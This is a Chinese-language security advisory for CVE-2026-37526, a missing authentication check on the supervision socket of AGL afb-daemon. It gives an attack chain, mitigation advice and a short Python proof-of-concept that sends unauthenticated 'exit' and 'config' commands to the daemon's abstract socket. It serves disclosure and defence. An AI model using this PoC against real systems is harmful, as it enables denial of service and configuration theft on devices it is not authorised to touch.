IPBUF安全漏洞报告
English
CVE-2026-37526 CVSS 7.8 高危

CVE-2026-37526 AGL afb-daemon本地权限提升漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-37526
漏洞类型
权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
AGL app-framework-binder (afb-daemon)

相关标签

权限提升拒绝服务AGLUnix Socket本地攻击认证缺失

漏洞概述

AGL app-framework-binder (afb-daemon) 在 v19.90.0 及之前版本中存在严重的权限提升与访问控制缺失漏洞。该漏洞源于 src/afb-supervision.c 中的 on_supervision_call 函数在处理监管命令时未进行任何凭证验证。由于抽象 Unix 套接字 @urn:AGL:afs:supervision:socket 缺乏 DAC 保护,任何本地低权限进程均可连接并发送特权命令(如 Exit, Do, Sclose, Config)。攻击者可利用此漏洞终止守护进程造成拒绝服务,执行任意 API 调用,或泄露敏感的全局配置信息,从而完全破坏系统的机密性、完整性和可用性。

技术细节

该漏洞的核心在于 AGL afb-daemon 对抽象 Unix 域套接字的监听机制存在设计缺陷。在受影响版本中,src/afb-supervision.c 文件的 on_supervision_call 函数直接处理传入的 JSON 消息,并分发 Exit、Do、Sclose、Config 等 8 个监管命令。然而,该分发流程完全跳过了对调用者身份的校验(Credential Verification)。此外,官方代码 src/afs-supervision.h 中已注明该抽象套接字没有文件系统级别的 DAC(自主访问控制)保护。这意味着系统上的任何本地进程,无需特殊权限即可通过套接字地址 @urn:AGL:afs:supervision:socket 与守护进程通信。攻击者只需构建特定的 JSON 数据包发送至该套接字,即可触发高危操作,例如利用 'Exit' 命令杀死服务,或利用 'Config' 命令读取配置,实现从低权限用户到 Root/系统级权限的提升。

攻击链分析

STEP 1
侦察与访问
攻击者获得目标系统的本地低权限访问权限(例如通过普通用户账号或Webshell)。
STEP 2
识别套接字
攻击者检查系统中是否存在监听中的抽象 Unix 套接字 @urn:AGL:afs:supervision:socket。
STEP 3
建立连接
攻击者编写脚本,创建 Unix 套接字并连接到目标地址,绕过文件系统权限检查。
STEP 4
发送恶意指令
攻击者向套接字发送包含特权命令(如 'exit' 或 'do')的 JSON 数据包,无需身份验证。
STEP 5
执行攻击
afb-daemon 接收并执行命令,导致服务崩溃、配置泄露或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import json import struct # Target abstract Unix socket path SOCKET_PATH = "@urn:AGL:afs:supervision:socket" def send_exploit_command(command, args=None): """ Exploit function to send unauthenticated commands to the afb-daemon. """ try: # Create a Unix socket sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) # Connect to the abstract socket (path starts with null byte) sock.connect(b'\x00' + SOCKET_PATH[1:].encode('utf-8')) # Construct the payload (JSON format) payload = { "id": 1, "call": command, "args": args if args else {} } message = json.dumps(payload) print(f"Sending payload: {message}") sock.sendall(message.encode('utf-8')) # Receive response response = sock.recv(4096) print(f"Received response: {response.decode('utf-8')}") sock.close() return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": # Example 1: Cause Denial of Service by killing the daemon print("[*] Attempting to kill daemon (Exit command)...") send_exploit_command("exit") # Example 2: Leak global configuration # print("\n[*] Attempting to leak configuration (Config command)...") # send_exploit_command("config")

影响范围

AGL app-framework-binder (afb-daemon) <= v19.90.0

防御指南

临时缓解措施
在未升级补丁前,建议通过强制访问控制(MAC)系统(如 SELinux)限制对 @urn:AGL:afs:supervision:socket 的访问,仅允许授权用户连接。同时,应监控 afb-daemon 进程的状态,防止异常终止。如果业务允许,可暂时禁用该服务以规避风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表